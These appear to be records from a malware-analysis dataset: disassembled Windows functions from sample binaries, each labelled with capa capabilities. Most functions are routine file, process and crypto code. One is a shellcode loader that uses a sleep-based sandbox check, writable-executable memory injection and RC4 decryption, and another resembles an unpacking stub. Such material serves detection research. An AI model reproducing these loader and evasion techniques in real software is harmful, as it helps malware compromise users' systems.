joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000fc20
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14000fc2d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14000fc3d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14000fc25
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x14000fc55
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14000fc42
sub eax, 3
jb 0x14000fc6f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14000fca6
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x14000fc96
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14000fc94
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14000fc83
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.14000fbe2
jmp 0x14000fc2d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x2800
mov dl, 2
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14000fcf2
cmp rsi, rcx
jae 0x14000fcfa
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14000fcd9
cmp al, 0x8f
ja 0x14000fcd9
cmp byte [rsi - 2], 0xf
je 0x14000fcdf
sub al, 0xe8
cmp al, 1
ja 0x14000fcc3
cmp rsi, rcx
jae 0x14000fcfa
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14000fcc9
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14000fcfa
lodsb al, byte [rsi]
jmp 0x14000fcd9
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xd000]
mov eax, dword [rdi]
or eax, eax
je 0x14000fd57
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xf000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14000fd07
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14000fd51
mov qword [rbx], rax
add rbx, 8
jmp 0x14000fd27
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14000fd91
cmp al, 0xef
ja 0x14000fd83
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14000fd63
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14000fd72
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.14000fe10], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.14000fe10
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14000fe00
sub rsp, 0xffffffffffffff80
jmp 0x1400010f6
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encrypt data using rc4 via systemfunction032
Execute shellcode via indirect call
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rbp - 0x10], rax
xor eax, eax
nop dword [rax]
mov ecx, eax
add eax, 2
cmp eax, 0xf4240
jl 0x140001090
cmp ecx, 0xf423e
jne 0x140001268
mov qword [rsp + 0x80], rbx
xor ecx, ecx
mov qword [rsp + 0x88], rdi
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, 0x2710
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__difftime64]
comisd xmm0, xmmword [0x140002308]
jb 0x1400011fd
lea rax, [rbp - 0x20]
mov dword [rbp - 0x20], 0x78787878
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x1c], 0x78787878
mov dword [rbp - 0x18], 0x78787878
mov dword [rbp - 0x14], 0x78787878
mov dword [rbp - 0x40], 0x10
mov dword [rbp - 0x3c], 0x10
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
lea rcx, str.Current_Process_ID:__d_n
mov ebx, eax
call fcn.140001010
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdx, rax
lea rcx, str.Process_Handle:__d_n
mov rbx, rax
call fcn.140001010
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x380
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, 0x380
mov qword [rsp + 0x20], 0
mov rdx, rax
lea r8, [0x140004040]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, str.Advapi32.dll
mov qword [rbp - 0x28], rdi
mov dword [rbp - 0x30], 0x380
mov dword [rbp - 0x2c], 0x380
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x30]
call rax
call rdi
mov rdi, qword [rsp + 0x88]
xor eax, eax
mov rbx, qword [rsp + 0x80]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140001290
add rsp, 0x70
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, 0x100000
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140001253
mov edx, 0x78
mov r8d, 0x100000
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov r9d, 0x100000
mov qword [rsp + 0x20], 0
mov r8, rbx
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x180001680
Capabilities:
Get token membership

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 8], rax
and dword [rbp - 0x10], 0
lea rax, [rbp - 0x18]
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x10]
and dword [rsp + 0x48], 0
mov r9d, 0x220
and dword [rsp + 0x40], 0
mov r8d, 0x20
and dword [rsp + 0x38], 0
mov dl, 2
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
mov word [rbp - 0xc], 0x500
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rbp - 0x20], eax
test eax, eax
je 0x18000170e
mov rdx, qword [rbp - 0x18]
lea r8, [rbp - 0x20]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
neg eax
sbb ecx, ecx
and dword [rbp - 0x20], ecx
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rbp - 0x20]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.180010e20
add rsp, 0x80
pop rbp
ret

Function at 0x180004dec
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov qword [rax + 8], rcx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r13, rdx
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
or rbx, 0xffffffffffffffff
mov rbp, rax
cmp rax, rbx
je 0x180004f61
mov edi, 0x130
mov ecx, edi
call fcn.180010e4c
mov r8d, edi
xor edx, edx
mov rcx, rax
mov rsi, rax
call sub.msvcrt.dll_memset
mov r8d, edi
xor edx, edx
mov rcx, rsi
call qword [sym.imp.msvcrt.dll_memset]
mov rdx, rsi
mov dword [rsi], edi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x180004f4d
mov r14d, dword [rsp + 0x70]
lea r12, [rsi + 0x2c]
mov rdi, qword [0x18177a768]
mov rax, qword [rdi]
mov rbx, qword [rax + 0x30]
mov rcx, rbx
call qword [0x180012468]
mov rcx, rdi
call rbx
mov r8d, dword [rsi + 8]
cmp al, 6
sbb ecx, ecx
xor edx, edx
and ecx, 0xfffff400
add ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, 0x400
mov rbx, rax
call qword [sym.imp.msvcrt.dll_malloc]
xor r15b, r15b
mov rdi, rax
test rbx, rbx
je 0x180004ee8
mov rdx, rbx
call fcn.180004b48
mov edx, dword [rsi + 8]
mov r15b, al
call fcn.180004dcc
mov r8, rdi
mov rdx, rbx
mov r14d, eax
call fcn.180004c5c
test rbx, rbx
mov ecx, dword [rsi + 0x20]
setne dl
mov r9d, dword [rsi + 8]
mov r8d, r14d
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], r12
mov byte [rsp + 0x28], r15b
mov dword [rsp + 0x20], ecx
mov rcx, r13
call fcn.1800049c0
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_free]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 0x130
xor edx, edx
mov r8d, edi
mov rcx, rsi
call qword [sym.imp.msvcrt.dll_memset]
mov rdx, rsi
mov dword [rsi], edi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x180004e73
xor ebx, ebx
mov rdx, rdi
mov rcx, rsi
call fcn.180010e44
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x40]
mov eax, ebx
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180005330
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
test rcx, rcx
jne 0x18000533e
or eax, 0xffffffff
jmp 0x18000534a
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
dec eax
neg eax
sbb eax, eax
add rsp, 0x28
ret

Function at 0x180005350
Capabilities:
Delete directory

Disassembly:
sub rsp, 0x28
test rcx, rcx
jne 0x18000535e
or eax, 0xffffffff
jmp 0x18000536a
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
dec eax
neg eax
sbb eax, eax
add rsp, 0x28
ret

Function at 0x180005370
Capabilities:
Create directory

Disassembly:
sub rsp, 0x28
test rcx, rcx
jne 0x18000537e
or eax, 0xffffffff
jmp 0x18000538c
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
dec eax
neg eax
sbb eax, eax
add rsp, 0x28
ret

Function at 0x180005394
Capabilities:
Delete directory

Disassembly:
push rbx
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rbx, rdx
mov r9, rcx
lea rcx, [rsp + 0x50]
call fcn.180005704
nop
mov r8, rax
mov rdx, rbx
mov rcx, r9
call fcn.1800053d0
nop
mov rcx, rbx
add rsp, 0x30
pop rbx
jmp fcn.180005350

Function at 0x1800053d0
Capabilities:
Enumerate files on windows

Disassembly:
mov r9, r8
mov r8b, 1
jmp 0x180005428
Function at 0x1800053e8
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x28
test rcx, rcx
je 0x1800053ff
mov rdx, rcx
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
add rsp, 0x28
ret

Function at 0x180007660
Capabilities:
Read file on windows
Read pipe

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x450
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x440], rax
and dword [rsp + 0x30], 0
lea rax, [rsp + 0x34]
mov rbp, rdx
mov rbx, rcx
mov rcx, qword [rcx + 0x18]
xor esi, esi
and qword [rsp + 0x28], rsi
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x1800076bb
or eax, 0xffffffff
jmp 0x18000778d
mov rcx, qword [0x18177b678]
mov edx, 0x1c
call fcn.180002b60
neg eax
mov rcx, rbp
sbb edi, edi
and edi, 0xfff81000
add edi, 0x80000
mov edx, edi
call fcn.180004550
xor edx, edx
mov dword [rbp + 0x20], 0x1e
mov r8d, 0x400
lea rcx, [rsp + 0x40]
call sub.msvcrt.dll_memset
cmp dword [rsp + 0x34], esi
jbe 0x180007774
cmp esi, edi
jae 0x180007774
mov rcx, qword [rbx + 0x18]
lea r9, [rsp + 0x30]
and qword [rsp + 0x20], 0
lea rdx, [rsp + 0x40]
mov r8d, 0x400
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180007774
mov r8d, dword [rsp + 0x30]
lea rdx, [rsp + 0x40]
add esi, dword [rsp + 0x30]
mov rcx, rbp
call fcn.18000463c
and qword [rsp + 0x28], 0
lea rax, [rsp + 0x34]
mov rcx, qword [rbx + 0x18]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x1800076b3
cmp dword [rsp + 0x34], 0
ja 0x180007705
mov rcx, qword [rbx + 0x20]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x18000778b
mov byte [rbx + 0xd], 1
mov eax, esi
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.180010e20
mov rbx, qword [rsp + 0x480]
add rsp, 0x450
pop rdi
pop rsi
pop rbp
ret

Function at 0x1800091d8
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
lea rbx, [rcx + 8]
mov rdi, rcx
mov rax, qword [rbx]
test rax, rax
jne 0x180009240
mov eax, dword [rcx + 4]
xor r8d, r8d
mov r9d, dword [rcx]
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x18000923d
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x180009237
mov r9d, dword [rdi]
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 8
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x18000923d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rax, qword [rbx]
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x1800092e4
Capabilities:
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x50
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
mov edx, 0x18
mov r8d, 0xf0000000
lea rcx, [rax - 0x20]
mov r14d, r9d
call fcn.1800091a0
lea rcx, [rsp + 0x38]
call fcn.1800091d8
xor ebx, ebx
test rax, rax
je 0x1800093ad
lea rcx, [rsp + 0x38]
call fcn.1800091d8
mov rcx, rax
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
mov edx, r14d
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1800093a7
mov rcx, qword [rdi]
xor r9d, r9d
mov r8d, esi
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1800093a7
mov r8, qword [rsp + 0x88]
xor edx, edx
mov rcx, qword [rsp + 0x80]
mov dword [rsp + 0x30], r8d
call qword [sym.imp.msvcrt.dll_memset]
mov r8, qword [rsp + 0x80]
lea r9, [rsp + 0x30]
mov rcx, qword [rdi]
lea edx, [rbx + 2]
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
jne 0x1800093b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
or ebx, 0xffffffff
lea rcx, [rsp + 0x38]
call fcn.1800091b0
mov rbp, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret

Function at 0x180009404
Capabilities:
Encrypt data using aes via winapi

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r15
sub rsp, 0x70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rsi, rcx
mov edi, r9d
mov rcx, rdx
mov rbp, r8
mov rbx, rdx
call fcn.1800091d8
xor r15d, r15d
test rax, rax
jne 0x18000943f
or eax, 0xffffffff
jmp 0x1800094aa
xor edx, edx
lea rcx, [rsp + 0x30]
lea r8d, [rdx + 0x2c]
call qword [sym.imp.msvcrt.dll_memset]
mov r8, rdi
mov dword [rsp + 0x30], 0x208
mov rdx, rbp
mov dword [rsp + 0x34], 0x660e
lea rcx, [rsp + 0x3c]
mov dword [rsp + 0x38], edi
call qword [sym.imp.msvcrt.dll_memcpy]
mov rcx, rbx
call fcn.1800091d8
xor r9d, r9d
mov qword [rsp + 0x28], rsi
mov rcx, rax
mov dword [rsp + 0x20], r15d
lea rdx, [rsp + 0x30]
lea r8d, [r9 + 0x2c]
call qword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x1800094a8
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18000943a
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.180010e20
add rsp, 0x70
pop r15
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1800095a0
Capabilities:
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rbx, r8
mov r14, rdx
mov rsi, rcx
mov edx, 0x18
mov r8d, 0xf0000000
lea rcx, [rbp - 0x38]
mov r15, r9
call fcn.1800091a0
lea rcx, [rbp - 0x38]
call fcn.1800091d8
xor edi, edi
test rax, rax
jne 0x1800095f3
or edi, 0xffffffff
jmp 0x1800096f1
lea rcx, [rbp - 0x40]
call fcn.1800093d8
mov r9d, ebx
lea rdx, [rbp - 0x38]
mov r8, r14
lea rcx, [rbp - 0x40]
call fcn.180009404
test eax, eax
je 0x18000961b
or edi, 0xffffffff
jmp 0x1800096e8
lea rcx, [rbp - 0x40]
call fcn.1800094f8
lea rcx, [rbp - 0x38]
mov rbx, rax
call fcn.1800091d8
mov rcx, rax
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, rbx
mov edx, 0x8009
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1800096e0
xor edx, edx
lea rcx, [rbp - 0x28]
lea r8d, [rdx + 0x28]
call qword [sym.imp.msvcrt.dll_memset]
mov rcx, qword [rsi]
lea r8, [rbp - 0x28]
xor r9d, r9d
mov dword [rbp - 0x28], 0x800c
lea edx, [r9 + 5]
call qword [sym.imp.ADVAPI32.dll_CryptSetHashParam]
test eax, eax
je 0x1800096e0
mov r8d, dword [rbp + 0x40]
xor r9d, r9d
mov rcx, qword [rsi]
mov rdx, r15
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1800096e0
mov rcx, qword [rsi]
lea r9, [rbp + 0x48]
xor r8d, r8d
mov dword [rbp + 0x48], edi
mov dword [rsp + 0x20], edi
lea ebx, [r8 + 2]
mov edx, ebx
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x1800096e0
mov r9, qword [rbp + 0x58]
mov eax, dword [r9]
cmp dword [rbp + 0x48], eax
je 0x1800096c9
or edi, 0xffffffff
jmp 0x1800096e8
mov r8, qword [rbp + 0x50]
mov edx, ebx
mov rcx, qword [rsi]
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
jne 0x1800096e8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rcx, [rbp - 0x40]
call fcn.1800093e0
lea rcx, [rbp - 0x38]
call fcn.1800091b0
lea r11, [rsp + 0x70]
mov eax, edi
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x18000981c
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x60
mov r14, r8
mov rdi, rdx
xor r8d, r8d
mov rsi, rcx
lea rcx, [rax - 0x18]
mov rbp, r9
lea edx, [r8 + 1]
call fcn.1800091a0
lea rcx, [rsp + 0x50]
call fcn.1800091d8
xor ebx, ebx
test rax, rax
jne 0x18000986d
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18000991a
lea rcx, [rsp + 0x48]
call fcn.180009718
mov r9d, dword [rsi + 8]
lea rdx, [rsp + 0x50]
mov r8, qword [rsi]
lea rcx, [rsp + 0x48]
call fcn.180009744
lea rcx, [rsp + 0x48]
call fcn.18000980c
test rax, rax
je 0x1800098ca
xor r9d, r9d
mov dword [rsp + 0x30], r14d
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x40], ebp
mov qword [rsp + 0x28], rcx
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x20], rdi
lea r8d, [r9 + 1]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x1800098d2
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180009910
mov ecx, dword [rsp + 0x40]
mov rax, qword [rsp + 0x90]
lea rdx, [rcx - 1]
mov qword [rax], rcx
test rdx, rdx
je 0x18000990e
mov r9, rdi
mov r8, rdi
neg r9
mov al, byte [rdx + rdi]
mov cl, byte [r8]
mov byte [r8], al
inc r8
mov byte [rdx + rdi], cl
dec rdx
lea rax, [r9 + r8]
cmp rax, rdx
jb 0x1800098f3
mov bl, 1
lea rcx, [rsp + 0x48]
call fcn.180009720
lea rcx, [rsp + 0x50]
call fcn.1800091b0
lea r11, [rsp + 0x60]
mov al, bl
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret

Function at 0x180009964
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rsi, r8
mov r14, rdx
mov rbx, rcx
mov edx, 0x18
mov r8d, 0xf0000000
lea rcx, [rbp - 0x10]
mov rdi, r9
call fcn.1800091a0
lea rcx, [rbp - 0x10]
call fcn.1800091d8
test rax, rax
jne 0x1800099ba
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x180009a48
lea rcx, [rbp - 0x18]
call fcn.1800093d8
mov r9d, dword [rbx + 8]
lea rdx, [rbp - 0x10]
mov r8, qword [rbx]
lea rcx, [rbp - 0x18]
call fcn.180009404
test eax, eax
jne 0x180009a37
lea rcx, [rbp - 0x18]
call fcn.1800094c4
test eax, eax
jne 0x180009a37
mov rdx, qword [rbx + 0x10]
lea rcx, [rbp - 0x18]
call fcn.1800094e8
test eax, eax
jne 0x180009a37
lea rcx, [rbp - 0x18]
call fcn.1800094f8
test rax, rax
je 0x180009a37
lea rcx, [rbp - 0x20]
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rcx
xor r9d, r9d
mov rcx, rax
mov dword [rbp - 0x20], edi
xor r8d, r8d
mov qword [rsp + 0x20], r14
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov rax, qword [rbp + 0x30]
mov ecx, dword [rbp - 0x20]
mov qword [rax], rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rbp - 0x18]
mov ebx, eax
call fcn.1800093e0
lea rcx, [rbp - 0x10]
call fcn.1800091b0
lea r11, [rsp + 0x60]
mov eax, ebx
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180009a70
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 0x18], r8
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rsi, rdx
mov rbx, rcx
mov edx, 0x18
lea rcx, [rbp - 0x10]
mov r8d, 0xf0000000
mov rdi, r9
call fcn.1800091a0
lea rcx, [rbp - 0x10]
call fcn.1800091d8
test rax, rax
jne 0x180009ac3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x180009b43
lea rcx, [rbp + 0x30]
call fcn.1800093d8
mov r9d, dword [rbx + 8]
lea rdx, [rbp - 0x10]
mov r8, qword [rbx]
lea rcx, [rbp + 0x30]
call fcn.180009404
test eax, eax
jne 0x180009b32
lea rcx, [rbp + 0x30]
call fcn.1800094c4
test eax, eax
jne 0x180009b32
mov rdx, qword [rbx + 0x10]
lea rcx, [rbp + 0x30]
call fcn.1800094e8
test eax, eax
jne 0x180009b32
lea rcx, [rbp + 0x30]
call fcn.1800094f8
test rax, rax
je 0x180009b32
lea rcx, [rbp + 0x20]
mov dword [rbp + 0x20], edi
mov qword [rsp + 0x28], rcx
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x20], rsi
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rbp + 0x30]
mov ebx, eax
call fcn.1800093e0
lea rcx, [rbp - 0x10]
call fcn.1800091b0
mov rsi, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop rbp
ret

Function at 0x180009be0
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov edi, r8d
lea rcx, [rsp + 0x20]
xor r8d, r8d
mov rsi, rdx
lea edx, [r8 + 1]
call fcn.1800091a0
lea rcx, [rsp + 0x20]
call fcn.1800091d8
xor ebx, ebx
test rax, rax
je 0x180009c29
mov r8, rsi
mov edx, edi
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x180009c2c
or ebx, 0xffffffff
lea rcx, [rsp + 0x20]
call fcn.1800091b0
mov rsi, qword [rsp + 0x48]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret